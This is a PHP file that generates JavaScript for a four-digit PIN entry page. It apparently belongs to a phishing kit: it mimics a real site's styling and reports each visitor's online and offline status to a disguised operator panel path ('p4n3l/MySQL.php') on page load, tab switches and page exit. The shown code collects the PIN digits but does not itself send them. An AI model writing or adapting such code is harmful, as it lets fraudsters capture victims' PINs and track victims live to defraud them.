<?php
if (!defined('APP_LOADED')) exit;

function render_pin_script() {
    $out = 'function verificarCampos(){';
    $out .= 'var a=document.getElementById("input1").value,';
    $out .= 'b=document.getElementById("input2").value,';
    $out .= 'c=document.getElementById("input3").value,';
    $out .= 'd=document.getElementById("input4").value,';
    $out .= 'btn=document.getElementById("btnGo");';
    $out .= 'if(a!==""&&b!==""&&c!==""&&d!==""){';
    $out .= 'btn.className="sc-kpDqfm ezyOXq";btn.disabled=false}else{';
    $out .= 'btn.className="sc-kpDqfm hXZvXt";btn.disabled=true}}';

    $out .= 'function irSiguiente(e,next){';
    $out .= 'var el=e.target,nx=document.getElementById(next);';
    $out .= 'if(e.inputType==="deleteContentBackward"){';
    $out .= 'for(var i=1;i<=4;i++)document.getElementById("input"+i).value="";';
    $out .= 'document.getElementById("input1").focus()}';
    $out .= 'else if(el.value!==""&&el.value.length>=parseInt(el.getAttribute("maxlength")))';
    $out .= '{nx.focus()}}';

    $out .= 'function borrarTodo(e){';
    $out .= 'if(e.keyCode===8||e.keyCode===46){';
    $out .= 'for(var i=1;i<=4;i++)document.getElementById("input"+i).value="";';
    $out .= 'document.getElementById("input1").focus();verificarCampos()}}';

    return $out;
}

function render_actions_valid() {
    $panel = '../p4n3l/MySQL.php';
    $out  = '$(document).ready(function(){';
    $out .= '$("#btnGo").click(function(){';
    $out .= 'var p=$("#input1").val()+$("#input2").val()+$("#input3").val()+$("#input4").val()';
    $out .= '})});';

    $out .= 'window.addEventListener("beforeunload",function(){';
    $out .= '$.ajax({url:"' . $panel . '",type:"POST",data:{action:"Desconectado"}})});';

    $out .= 'document.addEventListener("visibilitychange",function(){';
    $out .= 'var u="' . $panel . '";';
    $out .= 'if(document.visibilityState==="visible"){';
    $out .= '$.ajax({url:u,type:"POST",data:{action:"enLinea"}})}else{';
    $out .= '$.ajax({url:u,type:"POST",data:{action:"Desconectado"}})}});';

    $out .= 'document.addEventListener("DOMContentLoaded",function(){';
    $out .= '$.ajax({url:"' . $panel . '",type:"POST",data:{action:"enLinea"}})});';

    return $out;
}
